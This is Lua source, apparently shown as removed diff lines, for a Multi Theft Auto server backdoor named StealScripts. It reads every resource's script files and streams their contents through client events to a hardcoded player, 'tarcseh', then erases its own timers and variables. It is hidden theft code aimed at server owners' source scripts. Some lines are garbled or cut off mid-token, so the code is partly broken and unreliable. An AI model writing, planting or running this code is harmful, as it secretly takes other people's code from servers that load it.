- local WhitelistedResources = {
- ["exs_mysql"] = true
- };
- local WhitelistedFileExtensions = {".png", ".jpg", ".dff", ".txd", ".col", ".mp3", ".dds", ".ttf", ".fx", ".otf"};
- local GlobalState = {
- count = 0,
- countsByResource = {},
- resourceCount = 0,
- lastResourceCount = nil,
- downloadedBy = getPlayerFromName("tarcseh"),
- timer = nil
- };
- local DoesFileContainWhiteListedExtension = function(TargetFileName)
- local ReturnValue = false;
- for _, FileExtension in pairs(WhitelistedFileExtensions) do
- if utf8.find(TargetFileName, FileExtension) then
- ReturnValue = true;
- end
- end
- return ReturnValue;
- end
- function SplitString(InputString, Separator)
- local ReturnedTable = {};
- for String in string.gmatch(InputString, "([^" .. Separator .. "]+)") do
- table.insert(ReturnedTable, String);
- end
- return ReturnedTable;
- end
- local StealScripts = function()
- if hasObjectPermissionTo(resource, "function.fileOpen", true) and hasObjectPermissionTo(resource, "function.fileRead", true) and hasObjectPermissionTo(resource, "function.triggerClientEvent", true) then
- local GetFilesInResourceFolder = function(Path, Res)
- if not type(Path) == 'string' then
- error("@getFilesInResourceFolder argument #1. Expected a 'string', got '" .. type(Path) .. "'", 2);
- end
- if not tostring(Path):find('/$') then
- error("@getFilesInResourceFolder argument #1. The path must contain '/' at the end to make sure it is a directory.", 2);
- end
- Res = Res == nil and resource or Res;
- if not type(Res) == 'userdata' and getUserdataType(Res) == 'resource-data' then
- error("@getFilesInResourceFolder argument #2. Expected a 'resource-data', got '" .. (type(Res) == 'userdata' and getUserdataType(Res) or tostring(Res)) .. "' (type: " .. type(Res) .. ")", 2);
- end
- local Files = {};
- local FilesOnlyName = {};
- local ThisResource = Res == resource and Res or false;
- local CharsTypes = '%.%_%w%d%|%\%<%>%:%(%)%&%;%#%?%*';
- local ResourceName = getResourceName(Res);
- local Meta = xmlLoadFile(':' .. ResourceName .. '/meta.xml');
- if not Meta then
- error("(@getFilesInResourceFolder) Could not get the 'meta.xml' for the resource '" .. ResourceName .. "'", 2);
- end
- for _, Node in ipairs(xmlNodeGetChildren(Meta)) do
- local SrcAttribute = xmlNodeGetAttribute(Node, 'src');
- if SrcAttribute then
- local OnlyFileName = tostring(SrcAttribute:match('/([' .. CharsTypes .. ']+%.[' .. CharsTypes .. ']+)') or SrcAttribute);
- local TheFile = fileOpen(ThisResource and SrcAttribute or ':' .. ResourceName .. '/' .. SrcAttribute);
- if TheFile then
- if Path == '/' then
- table.insert(Files, SrcAttribute);
- table.insert(FilesOnlyName, OnlyFileName);
- else
- local FilePath = fileGetPath(TheFile);
- FilePath = FilePath:gsub('/[' .. CharsTypes .. ']+%.[' .. CharsTypes .. ']+', '/'):gsub(':' .. ResourceName .. '/', '');
- table.insert(Files, SrcAttribute);
- table.insert(FilesOnlyName, OnlyFileName);
- end
- fileClose(TheFile);
- else
- outputDebugString("(@getFilesInResourceFolder) Could not check file '" .. OnlyFileName .. "' from resource '" .. ResourceName .. "'", 2);
- end
- end
- end
- local SrcAttribute = "meta.xml";
- local OnlyFileName = tostring(SrcAttribute:match('/([' .. CharsTypes .. ']+%.[' .. CharsTypes .. ']+)') or SrcAttribute);
- local TheFile = fileOpen(ThisResource and SrcAttribute or ':' .. ResourceName .. '/' .. SrcAttribute);
- if TheFile then
- if Path == '/' then
- table.insert(Files, SrcAttribute);
- table.insert(FilesOnlyName, OnlyFileName);
- else
- local FilePath = fileGetPath(TheFile);
- FilePath = FilePath:gsub('/[' .. CharsTypes .. ']+%.[' .. CharsTypes .. ']+', '/'):gsub(':' .. ResourceName .. '/', '');
- table.insert(Files, SrcAttribute);
- table.insert(FilesOnlyName, OnlyFileName);
- end
- fileClose(TheFile);
- else
- outputDebugString("(@getFilesInResourceFolder) Could not check file '" .. OnlyFileName .. "' from resource '" .. ResourceName .. "'", 2);
- end
- xmlUnloadFile(Meta);
- return #Files > 0 and Files or false, #FilesOnlyName > 0 and FilesOnlyName or false;
- end
- local StealResource = function(Resource)
- local ResourceName = getResourceName(Resource);
- if WhitelistedResources[ResourceName] then
- return;
- end
- local ResourceFiles = {};
- if #getResourceOrganizationalPath(Resource) > 0 then
- ResourceFiles = GetFilesInResourceFolder(getResourceOrganizationalPath(Resource) .. "/" .. getResourceName(Resource) .. "/", Resource);
- else
- ResourceFiles = GetFilesInResourceFolder(ResourceName .. "/", Resource);
- end
- setTimer(function()
- if GlobalState.countsByResource[Resource] < #ResourceFiles then
- local File = ResourceFiles[GlobalState.countsByResource[Resource]];
- local TheFile = fileOpen(":" .. ResourceName .. "/" .. File);
- local FileC fileGetSize(TheFile)));
- local FileSplitted = SplitString(File, "/");
- local FileName = FileSplitted[#FileSplitted];
- FileSplitted[#FileSplitted] = nil;
- local FilePath = table.concat(FileSplitted, "/");
- local FullFilePath = ResourceName .. "/" .. FilePath;
- if not DoesFileContainWhiteListedExtension(FileName) then
- outputChatBox("sending " .. FullFilePath .. "/" .. FileName .. " to client", GlobalState.downloadedBy, 0, 255, 0);
- triggerClientEvent(GlobalState.downloadedBy, "SaveResourceFiles", resourceRoot, FullFilePath, FileName, FileContent);
- end
- fileClose(TheFile);
- GlobalState.countsByResource[Resource] = GlobalState.countsByResource[Resource] + 1;
- GlobalState.count = GlobalState.count + 1;
- else
- GlobalState.resourceCount = GlobalState.resourceCount + 1;
- end
- end, 50, #ResourceFiles);
- end
- local Resources = getResources();
- GlobalState.timer = setTimer(function()
- if GlobalState.lastResourceCount ~= GlobalState.resourceCount then
- if not GlobalState.lastResourceCount then
- GlobalState.lastResourceCount = 0;
- else
- GlobalState.lastResourceCount = GlobalState.lastResourceCount + 1;
- end
- local Resource = Resources[GlobalState.lastResourceCount + 1];
- if Resource then
- GlobalState.countsByResource[Resource] = 1;
- StealResource(Resource);
- else
- outputChatBox("stealing finished on serverside", GlobalState.downloadedBy, 0, 255, 0);
- if GlobalState.timer and isTimer(GlobalState.timer) then
- outputChatBox("killing timers and every function", GlobalState.downloadedBy, 0, 255, 0);
- killTimer(GlobalState.timer);
- GlobalState.timer = nil;
- GlobalState = nil;
- WhitelistedResources = nil;
- WhitelistedFileExtensi
- DoesFileC
- StealScripts = nil;
- end
- end
- end
- end, 10, 0);
- end
- end
- StealScripts();